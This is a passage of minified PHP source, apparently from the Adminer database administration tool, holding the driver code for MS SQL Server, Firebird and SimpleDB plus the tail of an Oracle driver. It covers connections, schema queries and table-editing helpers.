found_rows($S,$Z){}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){$c=$Zb=array();foreach($p as$o){$X=$o[1];if($X&&$o[0]!=""&&idf_escape($o[0])!=$X[0])queries("ALTER TABLE ".table($R)." RENAME COLUMN ".idf_escape($o[0])." TO $X[0]");if($X)$c[]=($R!=""?($o[0]!=""?"MODIFY (":"ADD ("):" ").implode($X).($R!=""?")":"");else$Zb[]=idf_escape($o[0]);}if($R=="")return queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)");return(!$c||queries("ALTER TABLE ".table($R)."\n".implode("\n",$c)))&&(!$Zb||queries("ALTER TABLE ".table($R)." DROP (".implode(", ",$Zb).")"))&&($R==$C||queries("ALTER TABLE ".table($R)." RENAME TO ".table($C)));}function foreign_keys($R){$J=array();$H="SELECT c_list.CONSTRAINT_NAME as NAME, c_src.COLUMN_NAME as SRC_COLUMN, c_dest.OWNER as DEST_DB, c_dest.TABLE_NAME as DEST_TABLE, c_dest.COLUMN_NAME as DEST_COLUMN, c_list.DELETE_RULE as ON_DELETE FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME AND c_list.CONSTRAINT_TYPE = 'R' AND c_src.TABLE_NAME = ".q($R);foreach(get_rows($H)as$K)$J[$K['NAME']]=array("db"=>$K['DEST_DB'],"table"=>$K['DEST_TABLE'],"source"=>array($K['SRC_COLUMN']),"target"=>array($K['DEST_COLUMN']),"on_delete"=>$K['ON_DELETE'],"on_update"=>null,);return$J;}function truncate_tables($T){return apply_queries("TRUNCATE TABLE",$T);}function drop_views($oi){return apply_queries("DROP VIEW",$oi);}function drop_tables($T){return apply_queries("DROP TABLE",$T);}function last_id(){return 0;}function schemas(){return get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX'))");}function get_schema(){global$g;return$g->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function set_schema($yg){global$g;return$g->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($yg));}function show_variables(){return get_key_vals('SELECT name, display_value FROM v$parameter');}function process_list(){return get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port" FROM v$session sess LEFT OUTER JOIN v$sql sql ON sql.sql_id = sess.sql_id WHERE sess.type = \'USER\' ORDER BY PROCESS ');}function show_status(){$L=get_rows('SELECT * FROM v$instance');return reset($L);}function convert_field($o){}function unconvert_field($o,$J){return$J;}function support($Gc){return preg_match('~^(columns|database|drop_col|indexes|processlist|scheme|sql|status|table|variables|view|view_trigger)$~',$Gc);}$x="oracle";$Rh=array();$Yg=array();foreach(array(lang(25)=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),lang(26)=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),lang(23)=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),lang(27)=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$y=>$X){$Rh+=$X;$Yg[$y]=array_keys($X);}$Yh=array();$Ye=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$Zc=array("length","lower","round","upper");$ed=array("avg","count","count distinct","max","min","sum");$gc=array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",));}$Yb["mssql"]="MS SQL";if(isset($_GET["mssql"])){$Hf=array("SQLSRV","MSSQL","PDO_DBLIB");define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function _get_error(){$this->error="";foreach(sqlsrv_errors()as$n){$this->errno=$n["code"];$this->error.="$n[message]\n";}$this->error=rtrim($this->error);}function connect($N,$V,$G){$this->_link=@sqlsrv_connect($N,array("UID"=>$V,"PWD"=>$G,"CharacterSet"=>"UTF-8"));if($this->_link){$wd=sqlsrv_server_info($this->_link);$this->server_info=$wd['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function quote($Q){return"'".str_replace("'","''",$Q)."'";}function select_db($k){return$this->query("USE ".idf_escape($k));}function query($H,$Sh=false){$I=sqlsrv_query($this->_link,$H);$this->error="";if(!$I){$this->_get_error();return false;}return$this->store_result($I);}function multi_query($H){$this->_result=sqlsrv_query($this->_link,$H);$this->error="";if(!$this->_result){$this->_get_error();return false;}return true;}function store_result($I=null){if(!$I)$I=$this->_result;if(!$I)return false;if(sqlsrv_field_metadata($I))return new Min_Result($I);$this->affected_rows=sqlsrv_rows_affected($I);return true;}function next_result(){return$this->_result?sqlsrv_next_result($this->_result):null;}function result($H,$o=0){$I=$this->query($H);if(!is_object($I))return false;$K=$I->fetch_row();return$K[$o];}}class Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function __construct($I){$this->_result=$I;}function _convert($K){foreach((array)$K as$y=>$X){if(is_a($X,'DateTime'))$K[$y]=$X->format("Y-m-d H:i:s");}return$K;}function fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC));}function fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC));}function fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$o=$this->_fields[$this->_offset++];$J=new stdClass;$J->name=$o["Name"];$J->orgname=$o["Name"];$J->type=($o["Type"]==1?254:0);return$J;}function seek($D){for($s=0;$s<$D;$s++)sqlsrv_fetch($this->_result);}function __destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function connect($N,$V,$G){$this->_link=@mssql_connect($N,$V,$G);if($this->_link){$I=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");$K=$I->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$K[0]] $K[1]";}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function quote($Q){return"'".str_replace("'","''",$Q)."'";}function select_db($k){return mssql_select_db($k);}function query($H,$Sh=false){$I=@mssql_query($H,$this->_link);$this->error="";if(!$I){$this->error=mssql_get_last_message();return false;}if($I===true){$this->affected_rows=mssql_rows_affected($this->_link);return true;}return new Min_Result($I);}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return mssql_next_result($this->_result->_result);}function result($H,$o=0){$I=$this->query($H);if(!is_object($I))return false;return mssql_result($I->_result,0,$o);}}class Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function __construct($I){$this->_result=$I;$this->num_rows=mssql_num_rows($I);}function fetch_assoc(){return mssql_fetch_assoc($this->_result);}function fetch_row(){return mssql_fetch_row($this->_result);}function num_rows(){return mssql_num_rows($this->_result);}function fetch_field(){$J=mssql_fetch_field($this->_result);$J->orgtable=$J->table;$J->orgname=$J->name;return$J;}function seek($D){mssql_data_seek($this->_result,$D);}function __destruct(){mssql_free_result($this->_result);}}}elseif(extension_loaded("pdo_dblib")){class Min_DB extends Min_PDO{var$extension="PDO_DBLIB";function connect($N,$V,$G){$this->dsn("dblib:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$N)),$V,$G);return true;}function select_db($k){return$this->query("USE ".idf_escape($k));}}}class Min_Driver extends Min_SQL{function insertUpdate($R,$L,$Kf){foreach($L as$O){$Zh=array();$Z=array();foreach($O as$y=>$X){$Zh[]="$y = $X";if(isset($Kf[idf_unescape($y)]))$Z[]="$y = $X";}if(!queries("MERGE ".table($R)." USING (VALUES(".implode(", ",$O).")) AS source (c".implode(", c",range(1,count($O))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$Zh)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).");"))return false;}return true;}function begin(){return queries("BEGIN TRANSACTION");}}function idf_escape($u){return"[".str_replace("]","]]",$u)."]";}function table($u){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($u);}function connect(){global$b;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function get_databases(){return get_vals("SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb')");}function limit($H,$Z,$z,$D=0,$Dg=" "){return($z!==null?" TOP (".($z+$D).")":"")." $H$Z";}function limit1($H,$Z){return limit($H,$Z,1);}function db_collation($m,$ob){global$g;return$g->result("SELECT collation_name FROM sys.databases WHERE name = ".q($m));}function engines(){return array();}function logged_user(){global$g;return$g->result("SELECT SUSER_NAME()");}function tables_list(){return get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function count_tables($l){global$g;$J=array();foreach($l as$m){$g->select_db($m);$J[$m]=$g->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$J;}function table_status($C=""){$J=array();foreach(get_rows("SELECT name AS Name, type_desc AS Engine FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function is_view($S){return$S["Engine"]=="VIEW";}function fk_support($S){return true;}function fields($R){$J=array();foreach(get_rows("SELECT c.*, t.name type, d.definition [default] FROM sys.all_columns c JOIN sys.all_objects o ON c.object_id = o.object_id JOIN sys.types t ON c.user_type_id = t.user_type_id LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($R))as$K){$U=$K["type"];$be=(preg_match("~char|binary~",$U)?$K["max_length"]:($U=="decimal"?"$K[precision],$K[scale]":""));$J[$K["name"]]=array("field"=>$K["name"],"full_type"=>$U.($be?"($be)":""),"type"=>$U,"length"=>$be,"default"=>$K["default"],"null"=>$K["is_nullable"],"auto_increment"=>$K["is_identity"],"collation"=>$K["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$K["is_identity"],);}return$J;}function indexes($R,$h=null){$J=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key FROM sys.indexes i INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id WHERE OBJECT_NAME(i.object_id) = ".q($R),$h)as$K){$C=$K["name"];$J[$C]["type"]=($K["is_primary_key"]?"PRIMARY":($K["is_unique"]?"UNIQUE":"INDEX"));$J[$C]["lengths"]=array();$J[$C]["columns"][$K["key_ordinal"]]=$K["column_name"];$J[$C]["descs"][$K["key_ordinal"]]=($K["is_descending_key"]?'1':null);}return$J;}function view($C){global$g;return array("select"=>preg_replace('~^(?:[^[]|\\[[^]]*])*\\s+AS\\s+~isU','',$g->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($C))));}function collations(){$J=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$nb)$J[preg_replace('~_.*~','',$nb)][]=$nb;return$J;}function information_schema($m){return false;}function error(){global$g;return nl_br(h(preg_replace('~^(\\[[^]]*])+~m','',$g->error)));}function create_database($m,$nb){return queries("CREATE DATABASE ".idf_escape($m).(preg_match('~^[a-z0-9_]+$~i',$nb)?" COLLATE $nb":""));}function drop_databases($l){return queries("DROP DATABASE ".implode(", ",array_map('idf_escape',$l)));}function rename_database($C,$nb){if(preg_match('~^[a-z0-9_]+$~i',$nb))queries("ALTER DATABASE ".idf_escape(DB)." COLLATE $nb");queries("ALTER DATABASE ".idf_escape(DB)." MODIFY NAME = ".idf_escape($C));return true;}function auto_increment(){return" IDENTITY".($_POST["Auto_increment"]!=""?"(".number($_POST["Auto_increment"]).",1)":"")." PRIMARY KEY";}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){$c=array();foreach($p as$o){$d=idf_escape($o[0]);$X=$o[1];if(!$X)$c["DROP"][]=" COLUMN $d";else{$X[1]=preg_replace("~( COLLATE )'(\\w+)'~","\\1\\2",$X[1]);if($o[0]=="")$c["ADD"][]="\n ".implode("",$X).($R==""?substr($Rc[$X[0]],16+strlen($X[0])):"");else{unset($X[6]);if($d!=$X[0])queries("EXEC sp_rename ".q(table($R).".$d").", ".q(idf_unescape($X[0])).", 'COLUMN'");$c["ALTER COLUMN ".implode("",$X)][]="";}}}if($R=="")return queries("CREATE TABLE ".table($C)." (".implode(",",(array)$c["ADD"])."\n)");if($R!=$C)queries("EXEC sp_rename ".q(table($R)).", ".q($C));if($Rc)$c[""]=$Rc;foreach($c as$y=>$X){if(!queries("ALTER TABLE ".idf_escape($C)." $y".implode(",",$X)))return false;}return true;}function alter_indexes($R,$c){$v=array();$Zb=array();foreach($c as$X){if($X[2]=="DROP"){if($X[0]=="PRIMARY")$Zb[]=idf_escape($X[1]);else$v[]=idf_escape($X[1])." ON ".table($R);}elseif(!queries(($X[0]!="PRIMARY"?"CREATE $X[0] ".($X[0]!="INDEX"?"INDEX ":"").idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R):"ALTER TABLE ".table($R)." ADD PRIMARY KEY")." (".implode(", ",$X[2]).")"))return false;}return(!$v||queries("DROP INDEX ".implode(", ",$v)))&&(!$Zb||queries("ALTER TABLE ".table($R)." DROP ".implode(", ",$Zb)));}function last_id(){global$g;return$g->result("SELECT SCOPE_IDENTITY()");}function explain($g,$H){$g->query("SET SHOWPLAN_ALL ON");$J=$g->query($H);$g->query("SET SHOWPLAN_ALL OFF");return$J;}function found_rows($S,$Z){}function foreign_keys($R){$J=array();foreach(get_rows("EXEC sp_fkeys @fktable_name = ".q($R))as$K){$q=&$J[$K["FK_NAME"]];$q["table"]=$K["PKTABLE_NAME"];$q["source"][]=$K["FKCOLUMN_NAME"];$q["target"][]=$K["PKCOLUMN_NAME"];}return$J;}function truncate_tables($T){return apply_queries("TRUNCATE TABLE",$T);}function drop_views($oi){return queries("DROP VIEW ".implode(", ",array_map('table',$oi)));}function drop_tables($T){return queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function move_tables($T,$oi,$oh){return apply_queries("ALTER SCHEMA ".idf_escape($oh)." TRANSFER",array_merge($T,$oi));}function trigger($C){if($C=="")return array();$L=get_rows("SELECT s.name [Trigger], CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(s.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(s.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event], CASE WHEN OBJECTPROPERTY(s.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing], c.text FROM sysobjects s JOIN syscomments c ON s.id = c.id WHERE s.xtype = 'TR' AND s.name = ".q($C));$J=reset($L);if($J)$J["Statement"]=preg_replace('~^.+\\s+AS\\s+~isU','',$J["text"]);return$J;}function triggers($R){$J=array();foreach(get_rows("SELECT sys1.name, CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsertTrigger') = 1 THEN 'INSERT' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsUpdateTrigger') = 1 THEN 'UPDATE' WHEN OBJECTPROPERTY(sys1.id, 'ExecIsDeleteTrigger') = 1 THEN 'DELETE' END [Event], CASE WHEN OBJECTPROPERTY(sys1.id, 'ExecIsInsteadOfTrigger') = 1 THEN 'INSTEAD OF' ELSE 'AFTER' END [Timing] FROM sysobjects sys1 JOIN sysobjects sys2 ON sys1.parent_obj = sys2.id WHERE sys1.xtype = 'TR' AND sys2.name = ".q($R))as$K)$J[$K["name"]]=array($K["Timing"],$K["Event"]);return$J;}function trigger_options(){return array("Timing"=>array("AFTER","INSTEAD OF"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("AS"),);}function schemas(){return get_vals("SELECT name FROM sys.schemas");}function get_schema(){global$g;if($_GET["ns"]!="")return$_GET["ns"];return$g->result("SELECT SCHEMA_NAME()");}function set_schema($xg){return true;}function use_sql($k){return"USE ".idf_escape($k);}function show_variables(){return array();}function show_status(){return array();}function convert_field($o){}function unconvert_field($o,$J){return$J;}function support($Gc){return preg_match('~^(columns|database|drop_col|indexes|scheme|sql|table|trigger|view|view_trigger)$~',$Gc);}$x="mssql";$Rh=array();$Yg=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"int"=>10,"bigint"=>20,"bit"=>1,"decimal"=>0,"real"=>12,"float"=>53,"smallmoney"=>10,"money"=>20),lang(26)=>array("date"=>10,"smalldatetime"=>19,"datetime"=>19,"datetime2"=>19,"time"=>8,"datetimeoffset"=>10),lang(23)=>array("char"=>8000,"varchar"=>8000,"text"=>2147483647,"nchar"=>4000,"nvarchar"=>4000,"ntext"=>1073741823),lang(27)=>array("binary"=>8000,"varbinary"=>8000,"image"=>2147483647),)as$y=>$X){$Rh+=$X;$Yg[$y]=array_keys($X);}$Yh=array();$Ye=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$Zc=array("len","lower","round","upper");$ed=array("avg","count","count distinct","max","min","sum");$gc=array(array("date|time"=>"getdate",),array("int|decimal|real|float|money|datetime"=>"+/-","char|text"=>"+",));}$Yb['firebird']='Firebird (alpha)';if(isset($_GET["firebird"])){$Hf=array("interbase");define("DRIVER","firebird");if(extension_loaded("interbase")){class Min_DB{var$extension="Firebird",$server_info,$affected_rows,$errno,$error,$_link,$_result;function connect($N,$V,$G){$this->_link=ibase_connect($N,$V,$G);if($this->_link){$bi=explode(':',$N);$this->service_link=ibase_service_attach($bi[0],$V,$G);$this->server_info=ibase_server_info($this->service_link,IBASE_SVC_SERVER_VERSION);}else{$this->errno=ibase_errcode();$this->error=ibase_errmsg();}return(bool)$this->_link;}function quote($Q){return"'".str_replace("'","''",$Q)."'";}function select_db($k){return($k=="domain");}function query($H,$Sh=false){$I=ibase_query($H,$this->_link);if(!$I){$this->errno=ibase_errcode();$this->error=ibase_errmsg();return false;}$this->error="";if($I===true){$this->affected_rows=ibase_affected_rows($this->_link);return true;}return new Min_Result($I);}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return false;}function result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return false;$K=$I->fetch_row();return$K[$o];}}class Min_Result{var$num_rows,$_result,$_offset=0;function __construct($I){$this->_result=$I;}function fetch_assoc(){return ibase_fetch_assoc($this->_result);}function fetch_row(){return ibase_fetch_row($this->_result);}function fetch_field(){$o=ibase_field_info($this->_result,$this->_offset++);return(object)array('name'=>$o['name'],'orgname'=>$o['name'],'type'=>$o['type'],'charsetnr'=>$o['length'],);}function __destruct(){ibase_free_result($this->_result);}}}class Min_Driver extends Min_SQL{}function idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function table($u){return idf_escape($u);}function connect(){global$b;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function get_databases($Qc){return array("domain");}function limit($H,$Z,$z,$D=0,$Dg=" "){$J='';$J.=($z!==null?$Dg."FIRST $z".($D?" SKIP $D":""):"");$J.=" $H$Z";return$J;}function limit1($H,$Z){return limit($H,$Z,1);}function db_collation($m,$ob){}function engines(){return array();}function logged_user(){global$b;$j=$b->credentials();return$j[1];}function tables_list(){global$g;$H='SELECT RDB$RELATION_NAME FROM rdb$relations WHERE rdb$system_flag = 0';$I=ibase_query($g->_link,$H);$J=array();while($K=ibase_fetch_assoc($I))$J[$K['RDB$RELATION_NAME']]='table';ksort($J);return$J;}function count_tables($l){return array();}function table_status($C="",$Fc=false){global$g;$J=array();$Gb=tables_list();foreach($Gb as$v=>$X){$v=trim($v);$J[$v]=array('Name'=>$v,'Engine'=>'standard',);if($C==$v)return$J[$v];}return$J;}function is_view($S){return false;}function fk_support($S){return preg_match('~InnoDB|IBMDB2I~i',$S["Engine"]);}function fields($R){global$g;$J=array();$H='SELECT r.RDB$FIELD_NAME AS field_name, r.RDB$DESCRIPTION AS field_description, r.RDB$DEFAULT_VALUE AS field_default_value, r.RDB$NULL_FLAG AS field_not_null_constraint, f.RDB$FIELD_LENGTH AS field_length, f.RDB$FIELD_PRECISION AS field_precision, f.RDB$FIELD_SCALE AS field_scale, CASE f.RDB$FIELD_TYPE WHEN 261 THEN \'BLOB\' WHEN 14 THEN \'CHAR\' WHEN 40 THEN \'CSTRING\' WHEN 11 THEN \'D_FLOAT\' WHEN 27 THEN \'DOUBLE\' WHEN 10 THEN \'FLOAT\' WHEN 16 THEN \'INT64\' WHEN 8 THEN \'INTEGER\' WHEN 9 THEN \'QUAD\' WHEN 7 THEN \'SMALLINT\' WHEN 12 THEN \'DATE\' WHEN 13 THEN \'TIME\' WHEN 35 THEN \'TIMESTAMP\' WHEN 37 THEN \'VARCHAR\' ELSE \'UNKNOWN\' END AS field_type, f.RDB$FIELD_SUB_TYPE AS field_subtype, coll.RDB$COLLATION_NAME AS field_collation, cset.RDB$CHARACTER_SET_NAME AS field_charset FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME LEFT JOIN RDB$COLLATIONS coll ON f.RDB$COLLATION_ID = coll.RDB$COLLATION_ID LEFT JOIN RDB$CHARACTER_SETS cset ON f.RDB$CHARACTER_SET_ID = cset.RDB$CHARACTER_SET_ID WHERE r.RDB$RELATION_NAME = '.q($R).' ORDER BY r.RDB$FIELD_POSITION';$I=ibase_query($g->_link,$H);while($K=ibase_fetch_assoc($I))$J[trim($K['FIELD_NAME'])]=array("field"=>trim($K["FIELD_NAME"]),"full_type"=>trim($K["FIELD_TYPE"]),"type"=>trim($K["FIELD_SUB_TYPE"]),"default"=>trim($K['FIELD_DEFAULT_VALUE']),"null"=>(trim($K["FIELD_NOT_NULL_CONSTRAINT"])=="YES"),"auto_increment"=>'0',"collation"=>trim($K["FIELD_COLLATION"]),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"comment"=>trim($K["FIELD_DESCRIPTION"]),);return$J;}function indexes($R,$h=null){$J=array();return$J;}function foreign_keys($R){return array();}function collations(){return array();}function information_schema($m){return false;}function error(){global$g;return h($g->error);}function types(){return array();}function schemas(){return array();}function get_schema(){return"";}function set_schema($xg){return true;}function support($Gc){return preg_match("~^(columns|sql|status|table)$~",$Gc);}$x="firebird";$Ye=array("=");$Zc=array();$ed=array();$gc=array();}$Yb["simpledb"]="SimpleDB";if(isset($_GET["simpledb"])){$Hf=array("SimpleXML");define("DRIVER","simpledb");if(class_exists('SimpleXMLElement')){class Min_DB{var$extension="SimpleXML",$server_info='2009-04-15',$error,$timeout,$next,$affected_rows,$_result;function select_db($k){return($k=="domain");}function query($H,$Sh=false){$F=array('SelectExpression'=>$H,'ConsistentRead'=>'true');if($this->next)$F['NextToken']=$this->next;$I=sdb_request_all('Select','Item',$F,$this->timeout);if($I===false)return$I;if(preg_match('~^\s*SELECT\s+COUNT\(~i',$H)){$ch=0;foreach($I as$Id)$ch+=$Id->Attribute->Value;$I=array((object)array('Attribute'=>array((object)array('Name'=>'Count','Value'=>$ch,))));}return new Min_Result($I);}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return false;}function quote($Q){return"'".str_replace("'","''",$Q)."'";}}class Min_Result{var$num_rows,$_rows=array(),$_offset=0;function __construct($I){foreach($I as$Id){$K=array();if($Id->Name!='')$K['itemName()']=(string)$Id->Name;foreach($Id->Attribute as$Ia){$C=$this->_processValue($Ia->Name);$Y=$this->_processValue($Ia->Value);if(isset($K[$C])){$K[$C]=(array)$K[$C];$K[$C][]=$Y;}else$K[$C]=$Y;}$this->_rows[]=$K;foreach($K as$y=>$X){if(!isset($this->_rows[0][$y]))$this->_rows[0][$y]=null;}}$this->num_rows=count($this->_rows);}function _processValue($jc){return(is_object($jc)&&$jc['encoding']=='base64'?base64_decode($jc):(string)$jc);}function fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$y=>$X)$J[$y]=$K[$y];next($this->_rows);return$J;}function fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return array_values($J);}function fetch_field(){$Od=array_keys($this->_rows[0]);return(object)array('name'=>$Od[$this->_offset++]);}}}class Min_Driver extends Min_SQL{public$Kf="itemName()";function _chunkRequest($pd,$va,$F,$zc=array()){global$g;foreach(array_chunk($pd,25)as$gb){$rf=$F;foreach($gb as$s=>$t){$rf["Item.$s.ItemName"]=$t;foreach($zc as$y=>$X)$rf["Item.$s.$y"]=$X;}if(!sdb_request($va,$rf))return false;}$g->affected_rows=count($pd);return true;}function _extractIds($R,$Vf,$z){$J=array();if(preg_match_all("~itemName\(\) = (('[^']*+')+)~",$Vf,$ke))$J=array_map('idf_unescape',$ke[1]);else{foreach(sdb_request_all('Select','Item',array('SelectExpression'=>'SELECT itemName() FROM '.table($R).$Vf.($z?" LIMIT 1":"")))as$Id)$J[]=$Id->Name;}return$J;}function select($R,$M,$Z,$cd,$df=array(),$z=1,$E=0,$Mf=false){global$g;$g->next=$_GET["next"];$J=parent::select($R,$M,$Z,$cd,$df,$z,$E,$Mf);$g->next=0;return$J;}function delete($R,$Vf,$z=0){return$this->_chunkRequest($this->_extractIds($R,$Vf,$z),'BatchDeleteAttributes',array('DomainName'=>$R));}function update($R,$O,$Vf,$z=0,$Dg="\n"){$Nb=array();$_d=array();$s=0;$pd=$this->_extractIds($R,$Vf,$z);$t=idf_unescape($O["`itemName()`"]);unset($O["`itemName()`"]);foreach($O as$y=>$X){$y=idf_unescape($y);if($X=="NULL"||($t!=""&&array($t)!=$pd))$Nb["Attribute.".count($Nb).".Name"]=$y;if($X!="NULL"){foreach((array)$X as$Kd=>$W){$_d["Attribute.$s.Name"]=$y;$_d["Attribute.$s.Value"]=(is_array($X)?$W:idf_unescape($W));if(!$Kd)$_d["Attribute.$s.Replace"]="true";$s++;}}}$F=array('DomainName'=>$R);return(!$_d||$this->_chunkRequest(($t!=""?array($t):$pd),'BatchPutAttributes',$F,$_d))&&(!$Nb||$this->_chunkRequest($pd,'BatchDeleteAttributes',$F,$Nb));}function insert($R,$O){$F=array("DomainName"=>$R);$s=0;foreach($O as$C=>$Y){if($Y!="NULL"){$C=idf_unescape($C);if($C=="itemName()")$F["ItemName"]=idf_unescape($Y);else{foreach((array)$Y as$X){$F["Attribute.$s.Name"]=$C;$F["Attribute.$s.Value"]=(is_array($Y)?$X:idf_unescape($Y));$s++;}}}}return sdb_request('PutAttributes',$F);}function insertUpdate($R,$L,$Kf){foreach($L as$O){if(!$this->update($R,$O,"WHERE `itemName()` = ".q($O["`itemName()`"])))return false;}return true;}function begin(){return false;}function commit(){return false;}function rollback(){return false;}}function connect(){return new Min_DB;}function support($Gc){return preg_match('~sql~',$Gc);}function logged_user(){global$b;$j=$b->credentials();return$j[1];}function get_databases(){return array("domain");}function collations(){return array();}function db_collation($m,$ob){}function tables_list(){global$g;$J=array();foreach(sdb_request_all('ListDomains','DomainName')as$R)$J[(string)$R]='table';if($g->error&&defined("PAGE_HEADER"))echo"<p class='error'>".error()."\n";return$J;}function table_status($C="",$Fc=false){$J=array();foreach(($C!=""?array($C=>true):tables_list())as$R=>$U){$K=array("Name"=>$R,"Auto_increment"=>"");if(!$Fc){$xe=sdb_request('DomainMetadata',array('DomainName'=>$R));if($xe){foreach(array("Rows"=>"ItemCount","Data_length"=>"ItemNamesSizeBytes","Index_length"=>"AttributeValuesSizeBytes","Data_free"=>"AttributeNamesSizeBytes",)as$y=>$X)$K[$y]=(string)$xe->$X;}}if($C!="")return$K;$J[$R]=$K;}return$J;}function explain($g,$H){}function error(){global$g;return h($g->error);}function information_schema(){}function is_view($S){}function indexes($R,$h=null){return array(array("type"=>"PRIMARY","columns"=>array("itemName()")),);}function fields($R){return fields_from_edit();}function foreign_keys($R){return array();}function table($u){return idf_escape($u);}function idf_escape($u){return"`".str_replace("`","``",$u)."`";}function limit($H,$Z,$z,$D=0,$Dg=" "){return" $H$Z".($z!==null?$Dg."LIMIT $z":"");}function unconvert_field($o,$J){return$J;}function fk_support($S){}function engines(){return array();}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){return($R==""&&sdb_request('CreateDomain',array('DomainName'=>$C)));}function drop_tables($T){foreach($T as$R){if(!sdb_request('DeleteDomain',array('DomainName'=>$R)))return false;}return true;}function count_tables($l){foreach($l as$m)return array($m=>count(tables_list()));}function found_rows($S,$Z){return($Z?null:$S["Rows"]);}function last_id(){}function 